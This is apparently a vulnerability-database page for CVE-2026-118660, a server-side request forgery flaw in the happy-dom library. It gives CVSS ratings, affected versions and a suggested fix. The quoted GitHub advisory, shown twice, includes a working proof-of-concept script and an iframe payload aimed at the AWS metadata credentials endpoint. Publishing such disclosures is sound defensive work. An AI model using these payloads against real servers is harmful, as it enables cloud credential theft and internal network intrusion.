CVE-2026-118660
Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel="stylesheet" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.6
Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel="stylesheet" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.
- Record
CVE-2026-118660- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-112467
8.6
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel="stylesheet" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.
- Record
EUVD-2026-112467- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-c8p4-j97h-3vg8
8.6
Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML
Summary
happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.
Affected Versions
- happy-dom <= 20.8.9 (latest)
Vulnerable Behavior
By default, happy-dom has:
disableIframePageLoading: false— iframes fetch theirsrcURL via real HTTP requestsdisableCSSFileLoading: false—<link>stylesheets fetch theirhrefURL via real HTTP requests
When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.
Proof of Concept
Verified test (attacker server receives requests):
const http = require('http');
const { Window } = require('happy-dom');
// Start attacker server
const srv = http.createServer((req, res) => {
console.log(`SSRF HIT: ${req.method} ${req.url}`);
res.writeHead(200, {'Content-Type': 'text/html'});
res.end('<html><body>stolen</body></html>');
});
srv.listen(9995, () => {
// iframe SSRF — happy-dom makes a real GET request
const win1 = new Window({ url: 'http://localhost' });
win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');
// stylesheet SSRF — happy-dom makes a real GET request
const win2 = new Window({ url: 'http://localhost' });
win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');
});
Test output:
SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrf
Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.
Cloud metadata attack scenario:
const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });
// Attacker-controlled HTML triggers fetch to AWS metadata endpoint
win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');
Impact
- Cloud credential theft —
<iframe src="http://169.254.169.254/...">fetches AWS/GCP/Azure metadata - Internal network scanning — probe internal services and ports
- Data exfiltration — read responses from internal APIs
- Affects any server-side use case — web scraping, email HTML rendering, SSR, testing with external HTML input
Suggested Fix
Change defaults to disable external resource loading:
disableIframePageLoading: true, // change from false
disableCSSFileLoading: true, // change from false
Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.
- Record
GHSA-c8p4-j97h-3vg8- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
8.6
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel="stylesheet" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.
- Record
CVE-2026-118660- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
8.6
Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel="stylesheet" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.
- Record
CVE-2026-118660- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVGHSA-c8p4-j97h-3vg8
8.6
Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML
Summary
happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.
Affected Versions
- happy-dom <= 20.8.9 (latest)
Vulnerable Behavior
By default, happy-dom has:
disableIframePageLoading: false— iframes fetch theirsrcURL via real HTTP requestsdisableCSSFileLoading: false—<link>stylesheets fetch theirhrefURL via real HTTP requests
When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.
Proof of Concept
Verified test (attacker server receives requests):
const http = require('http');
const { Window } = require('happy-dom');
// Start attacker server
const srv = http.createServer((req, res) => {
console.log(`SSRF HIT: ${req.method} ${req.url}`);
res.writeHead(200, {'Content-Type': 'text/html'});
res.end('<html><body>stolen</body></html>');
});
srv.listen(9995, () => {
// iframe SSRF — happy-dom makes a real GET request
const win1 = new Window({ url: 'http://localhost' });
win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');
// stylesheet SSRF — happy-dom makes a real GET request
const win2 = new Window({ url: 'http://localhost' });
win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');
});
Test output:
SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrf
Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.
Cloud metadata attack scenario:
const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });
// Attacker-controlled HTML triggers fetch to AWS metadata endpoint
win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');
Impact
- Cloud credential theft —
<iframe src="http://169.254.169.254/...">fetches AWS/GCP/Azure metadata - Internal network scanning — probe internal services and ports
- Data exfiltration — read responses from internal APIs
- Affects any server-side use case — web scraping, email HTML rendering, SSR, testing with external HTML input
Suggested Fix
Change defaults to disable external resource loading:
disableIframePageLoading: true, // change from false
disableCSSFileLoading: true, // change from false
Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.
- Record
GHSA-c8p4-j97h-3vg8- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
Show 6 moreShow less
OSVCLSA-2026-1793700814 No score
TuxCare security update for happy-dom (2 CVEs)
TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 20.12.0-tuxcare.2.
- Record
CLSA-2026-1793700814- Updated
- 2026-11-03
OSVCLSA-2026-1793974322 No score
TuxCare security update for happy-dom (2 CVEs)
TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 9.10.9-tuxcare.2.
- Record
CLSA-2026-1793974322- Updated
- 2026-11-06
OSVCLSA-2026-1793974458 No score
TuxCare security update for happy-dom (2 CVEs)
TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 9.20.3-tuxcare.6.
- Record
CLSA-2026-1793974458- Updated
- 2026-11-06
OSVCLSA-2026-1793974549 No score
TuxCare security update for happy-dom (2 CVEs)
TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 14.12.3-tuxcare.3.
- Record
CLSA-2026-1793974549- Updated
- 2026-11-06
OSVCLSA-2026-1793974658 No score
TuxCare security update for happy-dom (2 CVEs)
TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 15.11.7-tuxcare.5.
- Record
CLSA-2026-1793974658- Updated
- 2026-11-06
OSVCLSA-2026-1793981813 No score
TuxCare security update for happy-dom (2 CVEs)
TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 20.8.8-tuxcare.3.
- Record
CLSA-2026-1793981813- Updated
- 2026-11-06
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
happy-domnpm |
through 20.14.6 | 21.0.0 |
happy-domTuxCare:npm From an advisory covering 2 CVEs |
20.12.0-tuxcare.0 up to 20.12.0-tuxcare.2, plus listed versions 20.12.020.12.0-tuxcare.1 |
20.12.0-tuxcare.2 |
happy-domTuxCare:npm From an advisory covering 2 CVEs |
9.10.9-tuxcare.0 up to 9.10.9-tuxcare.2, plus listed versions 9.10.99.10.9-tuxcare.1 |
9.10.9-tuxcare.2 |
happy-domTuxCare:npm From an advisory covering 2 CVEs |
9.20.3-tuxcare.0 up to 9.20.3-tuxcare.6, plus listed versions 9.20.39.20.3-tuxcare.19.20.3-tuxcare.29.20.3-tuxcare.39.20.3-tuxcare.49.20.3-tuxcare.5 |
9.20.3-tuxcare.6 |
happy-domTuxCare:npm From an advisory covering 2 CVEs |
14.12.3-tuxcare.0 up to 14.12.3-tuxcare.3, plus listed versions 14.12.314.12.3-tuxcare.114.12.3-tuxcare.2 |
14.12.3-tuxcare.3 |
happy-domTuxCare:npm From an advisory covering 2 CVEs |
15.11.7-tuxcare.0 up to 15.11.7-tuxcare.5, plus listed versions 15.11.715.11.7-tuxcare.115.11.7-tuxcare.215.11.7-tuxcare.315.11.7-tuxcare.4 |
15.11.7-tuxcare.5 |
happy-domTuxCare:npm From an advisory covering 2 CVEs |
20.8.8-tuxcare.0 up to 20.8.8-tuxcare.3, plus listed versions 20.8.820.8.8-tuxcare.120.8.8-tuxcare.2 |
20.8.8-tuxcare.3 |
happy-domnpm |
before 21.0.0 | 21.0.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, aliases | OSV | |
| affected, facts | ||
| affected, aliases | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-118660 is a high vulnerability (CVSS 8.6) in Capricorn86 Happy-dom, published October 28, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.40%, the 34th percentile. Fixed in happy-dom 21.0.0.
References
github.com/capricorn86/happy-dom/security/advisories/GHSA-c8p4-j97h-3vg8
github.com/capricorn86/happy-dom/pull/2502
github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74
github.com/capricorn86/happy-dom/releases/tag/v21.0.0
github.com/advisories/GHSA-c8p4-j97h-3vg8
github.com/CVEProject/cvelistV5/tree/main/cves/2026/118xxx/CVE-2026-118660.json
nvd.nist.gov/vuln/detail/CVE-2026-118660
github.com/capricorn86/happy-dom